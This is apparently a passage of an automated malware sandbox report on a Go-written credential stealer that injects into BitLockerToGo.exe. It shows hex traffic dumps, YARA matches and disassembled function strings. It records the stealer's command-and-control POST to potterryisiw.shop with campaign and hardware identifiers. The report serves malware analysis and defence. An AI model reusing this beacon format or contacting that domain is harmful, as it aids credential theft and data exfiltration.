2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 46 9f 53 a4 9c 2f 63 ff c4 d8 a1 fc e6 7f 7c d5 a2 18 17 36 a4 5f 4c 3a 7e 6d d5 ac 77 57 e7 b0 2d 32 2a aa 92 b7 4d 66 b9 39 4d 74 eb 15 35 a9 c4 41 7b 9f d0 c5 2c 55 6c 44 45 fc 71 26 f0 3e 08 95 5d aa 99 29 bd c6 8f 1b 18 dc ca 2b 24 3e 86 bd d4 09 03 25 4a 95 08 fa f3 f4 46 43 6d cc d0 91 b3 93 da e1 7f 7d dc 27 6a 83 b9 dd d2 4f 70 e6 7f 5e 78 70 6a cd 7c 46 a6 ab ea 41 b6 3a 9a 3d ad 6e ca 7e ff 3e 15 a2 ef 30 15 b2 a1 af 9a 77 b0 a9 7a a2 1a 94 24 ed 09 29 bc 3b d3 d2 c5 79 26 bf 02 37 c8 df 03 6d 41 d5 d1 bd 09 a7 39 3b 66 0b 4d c2 dc 0f a5 ec c5 4d 33 86 5c dc 7c 94 bb 56 79 43 78 1b ce e7 af af d7 1c a4 9e 67 a7 cf fb c4 08 03 a0 17 41 b5 46 a5 d0 2c 8b c4 e8 3f c5 bb 57 4f fa 2d 7f 09 cf 01 3d c2 be b7 75 9f 80 9e 6a c0 0e de bd 9e 7c f0 93 eb Data Ascii: FS/c\|6_L:~mwW-2*Mf9Mt5A{,UlDEq&>])+$>%JFCm}'jOp^xpj\|FA:=n~>0wz$);y&7mA9;fMM3\\|VyCxgAF,?WO-=uj\|
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 72 33 81 3d 50 9e b3 c3 4f 1e a8 62 1a b7 62 89 84 8d 54 10 6e 03 f9 ff db 7b 48 c2 8f 61 ec 82 7a 4d 4b 72 6f bc a2 d8 28 b0 27 35 bd 6c 84 82 e7 47 e3 38 40 f1 53 31 d8 9f 37 53 da 7d e3 c9 61 82 4a 40 7a 17 53 6e 36 5b c7 d2 b9 ce da 08 25 ea 65 f1 3c 9a 83 41 b0 9b b2 36 94 f7 42 21 9a 3e b4 05 16 3d 0e 99 5d 6c 90 14 d4 75 3b ff 5e e9 82 df be 48 21 b5 d7 a9 34 c2 77 5a 66 06 9c c0 e7 0b 41 27 2f aa fe be c3 56 12 44 32 09 83 e8 26 bb cb 79 9c 2b 62 d8 cc 56 98 5f ec f5 7a 12 c0 37 69 7d 67 b3 fb ab 80 72 4d 25 56 73 cd ab eb 69 a8 9d cb c6 c0 63 58 99 d3 6d 06 dd 3a 8d 98 df cb e3 34 da 0a 51 f7 61 4e 4a 9e 27 75 30 22 bd 78 63 08 cf 23 be f1 88 ba 42 bc 0f 1d 2a c5 d9 e7 19 c0 f1 7b f3 0f 81 f2 7f 91 81 b1 39 5f 1c b5 f7 45 d7 0f 6f 97 de 94 8e 0a Data Ascii: r3=PObbTn{HazMKro('5lG8@S17S}aJ@zSn6[%e<A6B!>=]lu;^H!4wZfA'/VD2&y+bV_z7i}grM%VsicXm:4QaNJ'u0"xc#B*{9_Eo
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 40 15 b9 bc 3e a4 0f 19 be ee 2e 9d 38 60 18 15 be 17 1c 37 40 9c 31 2e e2 8b 0e ba 87 61 ac 8e 34 df df 30 49 34 06 2b 29 17 59 7f f4 0c fa 8f a5 0e cd 3c 0f 5f 81 72 90 c1 17 1d 88 5d 89 db d5 47 ee be 6a be 65 6d fc 88 61 d3 11 e4 01 04 21 e7 9e 73 76 05 8a bf 3b ab 96 06 6b 55 0a 38 a7 07 84 c8 be 9c a3 ec 31 14 08 cf 6e a9 95 c8 b8 fc 5f fc fe b8 73 c3 47 fa c2 97 4f de 17 2c 3a 07 b6 d8 cc 0b 9e af b9 3b 10 40 09 f0 da aa dc 83 ad ee be 60 7f 3e aa 5a 54 bb 54 00 1c 4a 20 b2 21 d7 79 69 13 b7 85 52 f9 6d 22 a5 b2 20 8f 45 f4 ab bb 13 15 2f 9c 52 e1 7b 7b 13 78 ce 97 99 10 4d 01 69 cb 30 b2 9f 1b de 4c a1 6f 44 de e1 9c 84 78 13 e0 91 4b 19 00 f9 9d 20 7e 37 f3 e5 f2 e8 79 82 e8 73 86 81 9e ba e4 7d 48 6d 1d 01 34 03 3c a0 10 17 cb 6a 1b 60 35 79 c1 Data Ascii: @>.8`7@1.a40I4+)Y<_r]Gjema!sv;kU81n_sGO,:;@`>ZTTJ !yiRm" E/R{{xMi0LoDxK ~7ys}Hm4<j`5y
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 22 74 a8 36 f5 2a 60 f4 b7 7a 30 bd 40 6a 7d c5 95 27 ed ad 75 1d e6 27 9c ba ea 0f a3 a1 38 27 91 d7 de 3c a1 f0 5a d3 1a 8f 52 53 8a 8a 64 0f 08 d7 f3 e5 8a e0 14 fd 94 0e 72 73 a3 43 1c a1 57 b2 eb a4 95 cf 4b 6b 34 ac 58 52 73 ae a9 c8 6f 37 89 31 68 a8 ab ea 56 42 7d 67 e4 3d 31 8b bd 22 2e 13 7c a8 d6 4a 12 9c b8 d1 78 69 c7 5b 60 ce 71 6f 34 db 11 fa da 0f 9f ef af 9f d9 1c f9 d1 a7 27 c5 96 d7 68 a4 cd b4 ec d7 1e 8d 88 8d 49 63 f0 84 42 f1 f2 ae 5f ee 57 ae 96 a9 00 9a ab ca e0 f4 12 64 56 1d 6e 97 a3 a2 8a 9f 0f 6d 5f 59 f3 1b 6d db b0 ac 68 59 7b bd e9 16 17 59 b7 ae 76 90 27 51 45 65 a0 71 23 de e3 90 48 9a 21 17 b5 0d d8 9b e6 69 86 fe 1c 1d e5 b6 01 2d 08 fe fb 9e 8a c3 24 d3 0a 4e c8 8f 68 d1 e6 bb 83 ab de e9 24 87 bc 5a ae 0c a7 75 8a 27 Data Ascii: "t6*`z0@j}'u'8'<ZRSdrsCWKk4XRso71hVB}g=1".\|Jxi[`qo4'hIcB_WdVnm_YmhY{Yv'QEeq#H!i-$Nh$Zu'
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: c5 cf 13 eb a3 5d 3e 55 87 2a fd 56 7c d1 bf dd 76 1f d7 0d 60 79 a5 62 6d e0 c9 b6 55 78 10 71 98 69 d1 ad f2 3a 2d 47 62 53 4c 7a 3a a4 64 0b bb b5 37 65 c4 62 6f e6 0d 7c 59 83 89 cc 04 34 3f 7c 8f 11 b8 e8 2a 1f aa ef dc 5a 63 ec 89 11 39 53 85 c0 79 a9 e4 98 45 f1 d6 90 c7 a9 63 b3 c9 d5 0e 07 bc 26 fa d4 0a d3 0b 44 67 c8 48 f3 49 be ef 45 be 82 7d 31 5e ea 3a d9 bb 94 d5 31 aa 80 17 12 15 65 ae cd a7 16 62 fb fd 33 5d 6c 26 05 0e eb 34 7b fb 6e ed 13 4a 4e d8 9b a7 c3 e5 d3 4b 84 8c 3c 41 f1 a1 91 1d 20 73 e1 1c b3 81 71 e8 b2 47 ac 29 96 35 f5 b1 e0 53 65 17 e4 96 12 26 80 1c 61 47 fc 8a 7f 42 a4 11 b0 8b b9 3c 53 03 d3 40 8d 4a d8 e4 f4 4c 4e 33 0e ec 57 6b b7 87 1f 83 19 c5 ea ff 18 25 ad c1 93 ad 57 78 02 f7 02 16 54 e5 7b 91 48 f3 23 a7 2a 67 Data Ascii: ]>UV\|v`ybmUxqi:-GbSLz:d7ebo\|Y4?\|Zc9SyEc&DgHIE}1^:1eb3]l&4{nJNK<A sqG)5Se&aGB<S@JLN3Wk%WxT{H#*g
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 54 8c f7 0a 1f 3e 9c 36 86 68 0a b6 d9 67 2e 7d ba fc 6f b6 43 fe 8e d2 95 16 c3 67 fd 77 ab 8c 4b e7 ba fa ff be 72 b7 f4 5b ed 3f af ee 94 ed 2b 5d 9a d4 dd 4d e0 f6 b6 fe 5d c5 fd 33 bc 87 b0 b1 94 d6 8a 5d 7c a5 0c 7a d2 04 06 29 30 2c 22 60 52 b5 79 5d 14 a4 31 c0 62 dd f8 ef 43 20 1b 05 33 b5 33 b5 70 16 80 90 0d a1 10 08 71 b0 2e 0e e5 bc 1e 50 fb 75 1a c9 0b a5 e0 e4 96 d9 07 7b 0c 10 bc 70 51 fc f0 7e 42 d6 e6 c5 fe f4 8f 1a df 77 8a 98 a2 c3 61 f8 59 d3 e5 e5 ee ee ca 3f 0b 57 45 53 c3 d8 86 39 66 1f 62 58 de de 1b ee 2f 1e 41 a4 0c 2f fa 21 30 6b ed 2d 0c 44 04 b1 2d 92 db cd 11 79 cb eb 25 8f 9a 6f 5f 16 d5 c4 f3 52 6c ff d1 a5 87 17 3c f1 6d ff c0 ab f2 50 97 1c 2c 0f dd 29 05 41 18 f8 10 06 ff 6e 17 5e 00 f1 67 2a 3d 5b d0 66 ac ca 8f 8f 7e Data Ascii: T>6hg.}oCgwKr[?+]M]3]\|z)0,"`Ry]1bC 33pq.Pu{pQ~BwaY?WES9fbX/A/!0k-D-y%o_Rl<mP,)An^g*=[f~
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: ef 81 e8 19 56 ea f0 e0 3b 6e 1b 4a 6b 3e 28 d9 57 a2 72 12 f9 68 61 2d 24 e3 68 95 3f 3b 19 c4 0d 31 c2 8c 58 05 f1 9b 93 fc 60 84 6f 95 74 67 e2 e8 46 5f 46 ce 7f ae e5 77 19 c1 c5 ac 9b 77 0d e6 22 e6 95 ee 70 73 04 07 0b be ec 4e fb 61 72 df 6e c3 7b b1 b4 2d 4d 29 a5 35 b4 a6 c2 e5 d2 a5 cd 4d 36 8b 73 3f de 8c a3 cf 38 3a b7 6c 11 38 21 05 f7 5a 48 74 03 6a 8c c4 ff 82 c7 6c 70 39 f3 31 81 65 39 72 24 92 33 5b 3e e1 ea 32 38 53 be dc bd c2 41 2a 2a 86 94 b1 59 28 2d 2c 6d 32 e5 a9 7f c9 82 12 6e 4d 53 20 06 63 c9 47 e2 b3 2c 6d 22 48 12 b2 7e 11 ce 0d 20 f5 2a b6 76 58 54 b8 ff 5e 50 68 ad a4 1c 21 24 16 7d 63 c4 11 64 34 37 38 e7 80 cd d0 08 b4 eb 5a 2d cc fb 92 71 09 8b 8f 7f ff 58 10 1e 16 84 fe a4 d1 dd 83 3f 0b 31 56 fd 67 b6 26 fc 4f 55 f1 05 Data Ascii: V;nJk>(Wrha-$h?;1X`otgF_Fww"psNarn{-M)5M6s?8:l8!ZHtjlp91e9r$3[>28SA*Y(-,m2nMS cG,m"H~ vXT^Ph!$}cd478Z-qX?1Vg&OU
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: 43 39 34 24 68 11 9b ff 93 51 48 2e 43 05 5d 20 b9 91 60 95 93 bf 67 8e 4b 53 3f 26 ea 8c ae 5e 74 4b 0c c2 74 05 7d ad 61 82 95 dd 33 36 f5 f6 6d eb 8e a7 7e fd a9 ab fd 7b 5b 90 5d fe 02 8f 28 3a f2 66 42 c8 bb 11 94 d7 a5 d1 49 cb 37 c2 e0 24 b4 57 6b da e8 b3 ea 14 a1 80 85 6f 19 94 99 85 5d 98 1a 27 f2 4d d4 2e d4 b7 55 9a 1c 61 d9 9f 7a 0d 78 fd 48 d8 1f c1 cf 31 40 37 17 5a 46 31 38 65 79 68 17 be fc 04 35 8f 8d 81 7c 2a 91 4d 8a ae ba 8b b6 a3 67 1b 01 1c 56 6a 1b 29 b6 3b 65 17 4f b5 55 70 b4 04 6b 80 85 7e ad bf 78 e5 b2 9f 76 74 dd ed 21 32 2c df 00 61 f0 78 21 c5 cb 6f 55 94 ef 35 d8 eb ce ec 5a 7b a1 2a f4 d8 58 e7 7e 54 fa 05 d6 11 a4 ea ac 06 3e 75 dd 36 6f e3 99 1f de a6 9b 1f a7 7a 3e 8f a5 78 f8 bd 2b a0 65 e0 0c 16 c7 47 36 4e f0 5b 7f Data Ascii: C94$hQH.C] `gKS?&^tKt}a36m~{[](:fBI7$Wko]'M.UazxH1@7ZF18eyh5\|MgVj);eOUpk~xvt!2,ax!oU5Z{X~T>u6oz>x+eG6N[
2024-07-03 17:31:32 UTC	15331	OUT	Data Raw: a3 af c2 6a 0e 23 41 ad fd 75 4d 7b e8 c0 55 56 be 2a df 21 a6 95 7d 76 d0 ca 79 5c ef 74 8a 3a 54 f5 8d 5c 02 59 56 ca 60 66 eb 8c a1 8d ea 29 32 32 cd a1 8d 8a 1a e5 b9 66 c2 9c 56 37 ed fc b3 df fa 92 50 6d 12 c5 69 32 82 52 86 79 25 e2 90 77 99 5c 1b 26 0b 6d 91 f9 54 29 04 44 ec 8a 02 09 47 59 9c 75 ff 31 22 bb 2f a6 3d b4 14 d7 5c 17 90 ff 8a 81 ce d9 a5 58 fe ef 38 29 fb a3 d2 da 37 39 da b7 e5 d3 03 6c 11 e5 08 06 79 fe d7 45 5c 61 b2 15 b3 c6 bb 1f a5 ba a7 3f a4 48 ba 4f 77 6a 99 e5 50 97 15 69 5f fb 4e a5 9c c0 fa 91 99 52 5a 74 9e d8 f4 ad bc 5b 39 ac d0 4f 5b b2 ff 9d 30 73 62 7e 3b 20 39 c5 86 e2 be 5a 9c 0a 1f f8 d7 cb 60 cf f2 87 ba d9 17 b3 91 ef a5 1b bd c2 5f 2e 56 eb cd b8 2b cf 5a fe 83 3e fb 0f da 35 42 6a b6 5a b4 63 ed 1b ab 6f a6 Data Ascii: j#AuM{UV*!}vy\t:T\YV`f)22fV7Pmi2Ry%w\&mT)DGYu1"/=\X8)79lyE\a?HOwjPi_NRZt[9O[0sb~; 9Z`_.V+Z>5BjZco
2024-07-03 17:31:33 UTC	804	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=72voodu3a5j77ssjvr6qi8s6ma; expires=Sun, 27-Oct-2024 11:18:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JQudXXL6MVu1Gaq9KixtMBi4%2Bv6%2BFFDppDZuMcCoMUeRWUOsgA8CfTGa1Jb5czWR%2F1cxRvVZyFQE1guvsbhQD9gVmHBIipHRrQuMOheb0oYnSgQAnTJgkMyGaUZi1eyV8SfGrA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89c173f1c195d-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49744	188.114.96.3	443	1868	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-03 17:31:34 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 86 Host: potterryisiw.shop
2024-07-03 17:31:34 UTC	86	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 66 75 4f 4c 4d 62 2d 2d 70 61 6c 70 61 74 69 6e 65 26 6a 3d 26 68 77 69 64 3d 30 38 44 43 38 46 33 37 41 43 32 32 30 42 45 36 33 41 37 45 43 46 31 31 34 45 46 34 33 31 41 38 Data Ascii: act=get_message&ver=4.0&lid=fuOLMb--palpatine&j=&hwid=08DC8F37AC220BE63A7ECF114EF431A8
2024-07-03 17:31:34 UTC	810	IN	HTTP/1.1 200 OK Date: Wed, 03 Jul 2024 17:31:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=59g76e5kma5mbfcvk7sjm4nj1d; expires=Sun, 27-Oct-2024 11:18:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MKPTX7V0OdpOqEkekb0EUNYNS1RZ%2FxMITiR3LXqQIVYmx43%2BCRXq0mSmV55nsEedw7JXjyB1l5vJLol%2Bfod17ZF1y%2BgCoO5%2FCzxktHmabZMROUnjDNhfRniyb431g%2FuvBhSMyA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 89d89c2348e942cb-EWR alt-svc: h3=":443"; ma=86400
2024-07-03 17:31:34 UTC	54	IN	Data Raw: 33 30 0d 0a 79 69 48 39 76 45 74 61 47 32 35 62 65 78 55 70 34 39 50 38 68 77 53 65 70 53 61 52 50 68 39 5a 37 6a 63 56 2b 45 44 4d 6a 59 47 52 66 41 3d 3d 0d 0a Data Ascii: 30yiH9vEtaG25bexUp49P8hwSepSaRPh9Z7jcV+EDMjYGRfA==
2024-07-03 17:31:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	13:31:02
Start date:	03/07/2024
Path:	C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\SecuriteInfo.com.Win64.Malware-gen.24311.29797.exe"
Imagebase:	0x7ff616160000
File size:	7'386'624 bytes
MD5 hash:	F308BE1162C86C3D72AD06C4C85A67D4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Go lang
Yara matches:	Rule: Msfpayloads_msf_9, Description: Metasploit Payloads - file msf.war - contents, Source: 00000000.00000003.1758162937.000000C000918000.00000004.00001000.00020000.00000000.sdmp, Author: Florian Roth
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:31:20
Start date:	03/07/2024
Path:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe
Imagebase:	0x3f0000
File size:	231'736 bytes
MD5 hash:	A64BEAB5D4516BECA4C40B25DC0C1CD8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1935435759.0000000002A22000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	15.6%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	40.1%
Total number of Nodes:	329
Total number of Limit Nodes:	28

Executed Functions

Function 0244FE8B Relevance: 36.8, Strings: 29, Instructions: 505
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

_T, xrefs: 0244FFAE
\-b/, xrefs: 02450053
q, xrefs: 02450207
'I(W, xrefs: 02450199
g5[7, xrefs: 0245079D
]>[, xrefs: 024501BA
'U-S, xrefs: 024501A4
e%h', xrefs: 02450069
)/, xrefs: 02450AEE
n=j?, xrefs: 024507B3
]R, xrefs: 0244FFB9
]Q, xrefs: 0244FFC4
*e8g, xrefs: 02450879
5a=c, xrefs: 02450884
}s, xrefs: 02450A1D
Y[, xrefs: 02450166, 024500EE
n!m#, xrefs: 02450074
>E5G, xrefs: 02450821
Y[, xrefs: 02450728, 024506BE, 0245095E, 024509B1, 0245043E, 02450BDE, 02450493
.u/w, xrefs: 0245084D
0y6{, xrefs: 0245086E
j)X+, xrefs: 0245005E
#Q4_, xrefs: 024501AF
+q)s, xrefs: 02450858
(), xrefs: 02450401
R1c3, xrefs: 024507A8
1m?o, xrefs: 0245088F
89, xrefs: 0245008A
n9\;, xrefs: 024507BE

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Y[$Y[$q$ ]>[$#Q4_$'I(W$'U-S$()$*e8g$+q)s$.u/w$0y6{$1m?o$5a=c$89$>E5G$R1c3$\-b/$]Q$]R$_T$e%h'$g5[7$j)X+$n!m#$n9\;$n=j?$)/$}s
API String ID: 0-3407162543
Opcode ID: a74a7b249f42a9d2c2e424b85b9c8d7a24fb0d99a6f161b98b199834125dab6f
Instruction ID: f5e3a5c9fb757816a5783a82a607300201a9252491af5fe7c65bf650f92badb7
Opcode Fuzzy Hash: a74a7b249f42a9d2c2e424b85b9c8d7a24fb0d99a6f161b98b199834125dab6f
Instruction Fuzzy Hash: 8152B7B41093858BE3B8CF05D891BDABBE1BB85344F908D2DC5DD9B245DB74818ACF92

Function 02448349 Relevance: 11.9, Strings: 9, Instructions: 660
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

BOIL, xrefs: 02448572
{q, xrefs: 024489F7
3y, xrefs: 024489F0
^RZZ, xrefs: 02448556
TVEL, xrefs: 02448580
AvO, xrefs: 02448579
{@}t, xrefs: 02448591
uG, xrefs: 024489FE
w, xrefs: 02448A05

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: 3y$AvO$BOIL$TVEL$^RZZ$uG$w${@}t${q
API String ID: 0-3156421898
Opcode ID: d43d0de6ec6da5a73d17f3d553c0b6b166b379b45cca21d38165c7479647b2fe
Instruction ID: 8bd3451f2f7958b761e07ee71765b6f636ec7ce2dc6eecd5cfedb4221cba7997
Opcode Fuzzy Hash: d43d0de6ec6da5a73d17f3d553c0b6b166b379b45cca21d38165c7479647b2fe
Instruction Fuzzy Hash: 604277B1504B408FE729CF25C8A0667BBF2BF46304F18895ED8A74BB96DB34E509CB54

Function 024534B0 Relevance: 10.4, Strings: 8, Instructions: 440
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

w%i', xrefs: 024534F8
e!~#, xrefs: 024534F0
{-o/, xrefs: 02453508
n)~+, xrefs: 02453500
b1w3, xrefs: 02453510
$%, xrefs: 0245394A
%m, xrefs: 02453667
h5`7, xrefs: 02453518

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: $%$%m$b1w3$e!~#$h5`7$n)~+$w%i'${-o/
API String ID: 0-3232130599
Opcode ID: 8bac537ae8e4a6fefa0c11ad6dcad7a99497372184742aa6729508937ea41527
Instruction ID: 09900c2b1be686382301328054d3fcc1f10a042b835868355d075a92bf594a10
Opcode Fuzzy Hash: 8bac537ae8e4a6fefa0c11ad6dcad7a99497372184742aa6729508937ea41527
Instruction Fuzzy Hash: 51E177B1908390CBD728CF14D89076BBBE2FF86344F044D6EE9969B381D7759819CB82

Function 02449284 Relevance: 5.9, Strings: 4, Instructions: 931
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MT, xrefs: 02449978
_G, xrefs: 0244997F
_\, xrefs: 02449770
\Z, xrefs: 02449971

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: MT$\Z$_G$_\
API String ID: 0-2388201936
Opcode ID: 541944b78478aade0b56a9edba2210b52b0381b0449a026fa35c6389e6a8e799
Instruction ID: f3fb686a244c1e52a26dd56ff70be0436b790c63d08fb77c7b59227becd46946
Opcode Fuzzy Hash: 541944b78478aade0b56a9edba2210b52b0381b0449a026fa35c6389e6a8e799
Instruction Fuzzy Hash: 3B52BEB0500B118FD728CF19C892B23B7F2FF99714B19865DD8A64B7A5EB35E841CB90

Function 02457BF1 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 447
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetComputerNameExA.KERNELBASE(00000006,00000000,00000200), ref: 02457C27
GetComputerNameExA.KERNELBASE(00000005,?,00000200), ref: 02457D39

Strings

JlRw, xrefs: 02457C29

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: ComputerName
String ID: JlRw
API String ID: 3545744682-3536621128
Opcode ID: 11635c8c46b250c2ea227371c0b75ab321c290c3c5c63414825becede1997394
Instruction ID: 92fd207b6074d4ce3f4de809cf8df59dfcdfe8dd3cee2ddc909b285c63f0793d
Opcode Fuzzy Hash: 11635c8c46b250c2ea227371c0b75ab321c290c3c5c63414825becede1997394
Instruction Fuzzy Hash: 42F14970544B928FD326CB39C490BE3BBE1AF16309F44496ED4EB8B683D775A449CB50

Function 02451C99 Relevance: 5.5, Strings: 4, Instructions: 528
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

US, xrefs: 02451CC9
p, xrefs: 02451DF7
cf, xrefs: 02451DE1
Ir, xrefs: 02451DEC

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: Ir$cf$p$US
API String ID: 0-572021096
Opcode ID: a205efa3a3541839dce7788163da1fbcef52a12264231c8b20dd42f5b2051734
Instruction ID: eac474aa8c179f14e78f3a9debc53d6752747a02f1e275e783354f8280adfbce
Opcode Fuzzy Hash: a205efa3a3541839dce7788163da1fbcef52a12264231c8b20dd42f5b2051734
Instruction Fuzzy Hash: 771287B5A08350DBD324CF24D884B6BBBE2FB85704F548D2EE8C99B251D774D845CB92

Function 02440F3E Relevance: 4.1, Strings: 3, Instructions: 384
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

y{, xrefs: 0244127D
V, xrefs: 02440F72
potterryisiw.shop, xrefs: 02441462

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: V$potterryisiw.shop$y{
API String ID: 0-342361578
Opcode ID: 74a750dc1a71f66562ebd36197471d582f7834c378385ba9c595c1c75b3366dc
Instruction ID: 8e4ed86050b4ab889bfa790c284480deb31bb4bdebd44842f1076701033f18e1
Opcode Fuzzy Hash: 74a750dc1a71f66562ebd36197471d582f7834c378385ba9c595c1c75b3366dc
Instruction Fuzzy Hash: 27D178B010C3828BE329CF14D1A4BAFBBE2AFD6344F18591DE0C95B341CB759549CB9A

Function 02447293 Relevance: 3.9, Strings: 3, Instructions: 125COMMON

Download Yara Rule

Strings

bA5G, xrefs: 024472B3
~}, xrefs: 024472CF
:U(K, xrefs: 02447308

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID:
String ID: :U(K$bA5G$~}
API String ID: 0-3861954444
Opcode ID: 54636429bc927df4aafc148b3d72eb1801a93d7a74005246c919401905c7fb14
Instruction ID: daba4a688ff84c350c113629a81438c0b5719526d158cb52aaf6dda021f933d6
Opcode Fuzzy Hash: 54636429bc927df4aafc148b3d72eb1801a93d7a74005246c919401905c7fb14
Instruction Fuzzy Hash: 2841A9B1608351CBD328CF18C85076BB7F1FFC6318F054A5DE8968B291EBB49916CB86

Function 0246980B Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 103libraryCOMMON

Download Yara Rule

APIs

LoadLibraryExW.KERNELBASE(439141DC,00000000,00000800), ref: 0246997E

Strings

uvw, xrefs: 02469903

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

Similarity

API ID: LibraryLoad
String ID: uvw
API String ID: 1029625771-3462500642
Opcode ID: 66ba0f3d5dbc1f0f1d216b5914533a604743006d0cfb6b6349ba9bfef46c5d04
Instruction ID: 38e4bc54ddbf1dd0360ac54bb36c6332575692e0878ea105b982134b32d9be9e
Opcode Fuzzy Hash: 66ba0f3d5dbc1f0f1d216b5914533a604743006d0cfb6b6349ba9bfef46c5d04
Instruction Fuzzy Hash: 07418B705283419BE308CF15C5A472EBBE1AF95304F188E0DE4D25B381CB78981ACBCB

Function 02434E30 Relevance: 2.9, Strings: 2, Instructions: 437COMMON

Download Yara Rule

Strings

), xrefs: 02434EC0
IEND, xrefs: 02435341

Memory Dump Source

Source File: 00000002.00000002.1977957081.0000000002430000.00000040.00000400.00020000.00000000.sdmp, Offset: 02430000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_2430000_BitLockerToGo.jbxd

